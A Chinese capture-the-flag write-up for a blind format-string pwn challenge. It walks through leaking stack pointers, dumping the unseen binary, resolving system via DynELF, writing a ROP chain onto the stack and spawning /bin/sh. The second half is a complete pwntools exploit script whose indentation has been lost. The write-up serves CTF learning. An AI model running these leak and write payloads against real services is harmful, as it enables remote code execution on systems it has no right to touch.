这是一道BROP的题目,题目只给了nc的地址和端口
经过使用%p测试可以发现程序存在printf格式化字符串漏洞。
解题步骤
1.确定程序位数
我是用的方法是用多个%p输出栈上的地址,然后对其内容进行分析:
如果看到有0x7f这种的话那么基本上可以确定是64位的程序。
而如果看到的内容是0xff,那么基本上可以确定是32为的程序。
或者可以观察输出的最大长度,如果基本上都是小于4字节的,那么基本上可以推断这个是32位程序。
2.dump程序内容
确定了程序的位数之后就来考虑dump出程序的内容,我采用的方法是,观察栈上的数据(通过%p)
然后观察有没有0x55或者0x56开头的地址(开启PIE),或者0x400开头(x64),0x80开头(x32)。
这些地址大概率就是指向程序中的一行代码(call之后的返回地址)。
接下来我们就需要通过这些地址来找到程序的基地址,
而我们又知道这些地址的后12位是不会变化的,而程序的基地址的后12位通常都是0,那么我们就可以让这些地址的后12位变成0之后,再通过%s输出相应的内容,如果发现了/x7FELF这种内容,那么就应该是找到了程序的基地址。
找到基地址之后就从基地址开始往后读取整个文件
直到发生异常之后结束,但是这里还要考虑到程序读取过程中可能会有时间限制,可能超过一段时间就自动断开了,比如这道题就是这样的。所以我们要在现在网上大量的脚本上再进行修改,让其自动重连,一般来说BROP的程序都不会很长,所以一般读取到一个页(4096字节)就结束了。
offset = 0
last_offset = 0
text_seg = ''
error_cnt = 0
while True:
try:
r = remote('nc.eonew.cn', 10012)
base = int(leak_point(35), 16) - 0x9fd
while True:
ret = leak_func(base + offset)
text_seg += ret
offset += len(ret)
except EOFError:
if offset - last_offset <= 3:
error_cnt += 1
if error_cnt == 20:
break
last_offset = offset
print '[+]',len(text_seg)
with open('./pwn','wb') as f:
f.write(text_seg)
dump过程中还是会遇到一些问题的,如果BROP的程序在程序结束处不是用换行输出的,而是直接输出内容的话,在这种情况下,我们很难判断剩余的数据(写入的指针地址可能被输出)是哪些,所以还需要接收一下后面输出的地址
def leak_func(addr):
payload = "%9$s.AAA" + p64(addr)
r.send(payload)
data = r.recvuntil('.AAA', drop=True) + '\x00'
#log.success("leaking: 0x{0} -> {1}".format(hex(addr), data))
remain = r.recvrepeat(0.3)
return data
通过百度我找到了一个比较好的处理方法,就是用r.recvrepeat来接收末尾的数据,也就是代码中addr的内容
3.分析程序代码
dump出的程序是缺少section header table的,一般情况下需要修复才能运行。但是对于这道题来说,我们可以直接静态分析一下内容,利用printf格式化字符串漏洞已经足够强大了。
由于缺失的数据,在主函数中这些调用的函数都是没有名称的,在截图中我根据我的经验对其进行修改,最后就可以拿到一份几乎和源码一致的程序样本。
4.如何利用?
一般网络上都是通过修改got表来进行getshell,但是这道题我仔细思考之后发现并不可行,因为我们可以传参的地址都在循环中调用,这就意味着必须要在一次循环内写入完整的数据来修改。但是因为这里使用的read是读取到x00之后会截断,这就意味着我们无法写入多个指针信息。其次这道题似乎是FULL RELRO的,所以我们无法这样利用。
但是这道题因为可以通过exit来退出循环,所以我们可以考虑修改ret的地址来构造ROP。
5.Libc
听cnitlrt师傅说这道题的libc不是标准的libc,所以我也没有做过多的测试,而是直接用DynELF来进行操作,通过DynELF可以拿到system的地址,也顺便熟悉了一下DynELF的使用
def leak(addr):
global system_addr
d = DynELF(leak_func, pointer = addr)
system_addr = d.lookup('system', 'so.6')
一般来说DynELF的参数可以传入基地址指针,或者传入ELF数据,但是这里我们dump下来的文件没有经过修复,所以我们就传入基地址指针,虽然慢一点但也是可行的。
6.写入ROP
可以参考我之前做的题目,这里我们通过转换,把单字节写入转化为多字节的写入,然后构造ROP进行写入,构造ROP就不说了,我们那到源文件之后可以自行寻找,我这里是通过IDA找到的
这里本来是csu函数,我先取消定义,再找到这个gadget。
接下来就是想办法找到堆栈地址了,由于我们无法动态调试,所以我们只能用搜索的方法,我这里用的方法是,先从栈上找到一个类似于栈指针的东西,然后让他-0x100(看情况调整)之后,再一直 +8 搜索,直到搜索到这个地址,搜索到的这个位置就是printf时候的堆栈位置,然后再看IDA里面分析的变量堆栈信息,就可以计算到返回地址了,这里还有一种办法就是根据canary的特征(末尾一字节是x00),也可以很快的找到返回地址。
这里写入的时候用的是send,所以需要加一点延迟防止下一个send和上一个send连在一起。
我这里用的方法很暴力,就是把log_level开起来,自然就会有一定的延迟了(来自输出)。
7.getshell
输入exit,让程序去执行ROP,然后再cat flag,就成功啦~
EXP
写的有些乱,师傅们凑合着看吧
from pwn import *
context.arch = "amd64"
print context.log_level
def leak_func(addr):
payload = "%9$s.AAA" + p64(addr)
r.send(payload)
data = r.recvuntil('.AAA', drop=True) + '\x00'
#log.success("leaking: 0x{0} -> {1}".format(hex(addr), data))
remain = r.recvrepeat(0.3)
return data
def leak(addr):
global system_addr
d = DynELF(leak_func, pointer = addr)
system_addr = d.lookup('system', 'so.6')
def leak_point(idx):
payload = "%{0}$p".format(idx)
pad = 'A' * (8 - len(payload))
r.sendline(payload + pad)
data = r.recvuntil(pad, drop=True)
remain = r.recvrepeat(0.3)
return data
def leak_ptr(addr):
p = ""
while len(p) != 8:
p += leak_func(addr + len(p))
p = p[:8]
return u64(p)
def write(addr, data):
r.send(fmtstr_payload(8, {addr : data}))
def write_data(addr, data):
for i in data:
write(addr, i)
addr += 1
r = remote('nc.eonew.cn', 10012)
pie_addr = int(leak_point(35), 16) - 0x9fd
log.success("pie_addr: " + hex(pie_addr))
ret_idx = 42
system_addr = 0
leak(pie_addr)
log.success("system_addr: " + hex(system_addr))
search_addr = int(leak_point(16), 16)
stack_addr = search_addr + 1 - 0x90 - (16 - 6) * 0x8
log.success("search_addr: " + hex(search_addr))
log.success("stack_addr: " + hex(stack_addr))
'''
#seach stack
offset = 0
while True:
leak_p = leak_ptr(stack_addr + offset)
if leak_p == search_addr:
break
print hex(offset), hex(stack_addr + offset), hex(leak_p)
offset += 8
'''
pop_rdi_addr = pie_addr + 0xA13
ret_addr = pie_addr + 0xA14
ROP_addr = stack_addr + (ret_idx - 6) * 8 + 0x8
context.log_level = "debug"
write_data(ROP_addr, p64(pop_rdi_addr) + p64(ROP_addr + 0x18) + p64(system_addr) + '/bin/sh\x00')
for i in range(6):
print leak_point(40 + i)
r.sendline("exit")
r.interactive()
#leak
'''
offset = 0
last_offset = 0
text_seg = ''
error_cnt = 0
while True:
try:
r = remote('nc.eonew.cn', 10012)
base = int(leak_point(35), 16) - 0x9fd
while True:
ret = leak_func(base + offset)
text_seg += ret
offset += len(ret)
except EOFError:
if offset - last_offset <= 3:
error_cnt += 1
if error_cnt == 20:
break
last_offset = offset
print '[+]',len(text_seg)
with open('./pwn','wb') as f:
f.write(text_seg)
'''